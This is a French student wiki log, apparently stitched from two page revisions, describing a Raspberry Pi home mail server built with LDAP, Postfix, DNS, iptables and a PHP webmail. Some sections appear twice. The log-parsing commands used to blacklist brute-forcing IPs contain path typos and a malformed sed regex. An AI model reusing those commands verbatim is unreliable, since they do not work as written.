On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte

===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T12:30:48Z

Tteneur : /* Semaine 18 (01/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

